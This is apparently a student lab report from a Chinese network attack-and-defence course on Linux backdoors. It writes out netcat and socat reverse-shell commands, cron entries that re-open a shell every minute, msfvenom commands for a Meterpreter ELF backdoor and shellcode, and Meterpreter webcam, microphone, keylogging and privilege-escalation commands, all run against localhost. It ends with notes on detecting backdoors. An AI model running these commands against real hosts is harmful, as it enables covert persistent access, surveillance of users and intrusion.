20242308 2025-2026-1 《网络与系统攻防技术》实验二实验报告
1.基础知识
- 后门原理:后门是绕过正常身份认证,非法获取目标主机访问权限的程序/手段,攻击者可远程执行命令、操控主机,分为被动后门(等待攻击者连接)、主动反弹后门(目标主机主动向外发起连接)。反弹shell常用于防火墙限制端口入站访问的环境,目标主动回连攻击机,穿透防火墙。
- netcat(nc):网络工具,被称为网络瑞士军刀,可以监听端口、建立TCP/UDP连接、传输数据,可实现反弹shell。
nc -lvnp 端口在攻击机开启监听;nc ip 端口 -e /bin/bash实现Linux反弹shell。 - socat:增强版netcat,功能更强大,支持更多数据流重定向、pty伪终端,获取交互式shell,可结合计划任务实现持久化后门。
- Linux cron计划任务:Linux定时任务守护进程,
crontab -e编辑定时任务,能够实现后门持久化,定期执行反弹shell命令,就算shell断开,定时任务会再次反弹连接攻击机。 - Metasploit(MSF):渗透测试框架,
msfvenom可以生成各类payload、后门可执行程序、shellcode;multi/handler用来监听反弹连接;meterpreter是高级后渗透shell,具备文件操作、系统信息收集、摄像头/麦克风采集、键盘记录、提权等功能。 - shellcode:机器指令字节流,没有文件格式,注入到已有程序内存中执行,不需要生成独立可执行文件,常用来漏洞利用。
- 持久化:后门技术,确保就算会话断开、主机重启,攻击者仍然可以重新获取目标主机shell;Linux使用cron、rc.local,Windows使用注册表、服务、计划任务。
2.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
3.实验过程
任务1:使用netcat获取主机操作Shell,cron启动任务
- 攻击机终端执行
sudo nc -lvnp 4444开启端口4444监听。 - 靶机侧执行反弹shell命令:nc 127.0.0.1 4444 -e /bin/bash,建立连接,成功获取shell,执行whoami、id、pwd等命令验证权限。
- 使用crontab -e编辑定时任务,新增定时执行反弹shell的cron任务,* * * * * /usr/bin/nc 127.0.0.1 5555 -e /bin/bash > /dev/null 2>&1,每分钟执行一次反弹shell。
- 攻击机开启5555端口监听,等待cron定时触发,自动获取shell;crontab -l查看已经配置的计划任务。
![图片1]()
![图片2]()
任务2:使用socat获取主机操作Shell,任务计划启动
- kali确认socat已经安装,sudo apt install socat。
- 攻击机监听:sudo socat TCP‑LISTEN:6667 -。
- 靶机执行socat反弹shell命令:socat TCP:127.0.0.1:6667 EXEC:/bash,pty,stderr,获取交互式伪终端shell,可以执行id、whoami。
- 配置root的crontab定时任务:* * * * * /usr/bin/socat TCP:127.0.0.1:7777 EXEC:/bash,pty,stderr > /dev/null 2>&1,实现socat后门持久化。
- 使用
sudo crontab -l查看root用户下定时任务,确认后门任务写入成功。
![图片3]()
![图片4]()
任务3:MSF meterpreter生成可执行后门,传输并获取shell
- 使用msfvenom生成linux反弹elf后门:bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -f elf > shell_20242308.elf - chmod +x shell_20242308.elf赋予可执行权限。
- 打开msfconsole,使用multi/handler监听模块,设置payload、LHOST、LPORT,run开启监听。
- 在靶机运行./shell_20242308.elf,成功回连,拿到meterpreter会话。
- meterpreter会话中执行
getuid、sysinfo、ls,确认会话正常。
![图片5]()
![图片6]()
任务4:meterpreter后渗透功能,采集音视频、键盘记录、尝试提权
- 在已经获取的meterpreter会话中:
ifconfig查看网卡信息;netstat查看网络连接;getpid查看后门进程PID。
摄像头录制:webcam_snap拍照;麦克风音频录制:record_mic录制音频。
-键盘记录:keyscan_start开启键盘记录,keyscan_dump导出按键记录,keyscan_stop停止记录。 - 执行getsystem尝试提权;linux下执行sudo相关,priv_esc相关模块尝试提升为root权限。
- 观察权限变化,查看id确认是否获取root权限。
![图片7]()
![图片8]()
任务5:MSF生成shellcode注入pwn1获取反弹shell
- 使用msfvenom生成linux x86反弹shellcode,输出c格式。bash
msfvenom -p linux/x86/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f c - 将shellcode字节码替换到pwn1程序漏洞利用的payload中,覆盖返回地址。
- msfconsole开启handler监听端口。
- 运行pwn1,触发漏洞,执行注入shellcode,获取反弹shell。
![图片10]()
4.问题及解决方案
- 问题1:msf生成elf后门运行,handler收不到meterpreter会话。
- 解决方案:确认LHOST、LPORT填写正确后,经过排查发现payload架构和系统架构不匹配,重新进行实验使其匹配。
5.学习感悟、思考等
本次实验学习了Linux环境下多种后门实现方式,netcat、socat实现简单反弹shell,cron计划任务实现持久化后门,Metasploit生成二进制后门、shellcode完成渗透。
反弹shell本质是目标主机主动向外建立网络连接,能够绕过防火墙阻止外部入站连接的限制。持久化后门是攻击者维持权限的关键,Linux利用crontab、Windows利用注册表、计划任务实现。
Meterpreter作为高级后渗透工具,不仅仅是简单命令行shell,还可以摄像头拍照、录音、键盘记录、提权、文件窃取,威力很大。同时我也意识到后门技术是双刃剑,安全人员可以用其检测、防御后门,但同时攻击者也能用其来入侵。
回答实验问题:
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:①利用软件漏洞,远程代码执行直接植入后门;③恶意软件携带后门
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:Linux:crontab定时任务;rc.local开机自启;修改~/.bashrc登录触发;systemd自定义服务;恶意ssh密钥。
Windows:注册表run启动项;计划任务;系统服务;组策略脚本;修改快捷方式。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以摄像头拍照、麦克风录音;键盘记录捕获输入;系统信息收集;自动提权。
(4)如何发现自己有系统有没有被安装后门?
答:①查看网络连接netstat /ss,发现陌生向外连接的异常端口;②查看计划任务crontab、Windows任务计划;③检查开机启动项、服务;④检查陌生进程,查看进程pid对应的程序路径;⑤查看系统日志,看异常登录、异常定时任务执行;⑥杀毒、EDR检测恶意程序;检查authorized_keys是否存在陌生ssh公钥。










浙公网安备 33010602011771号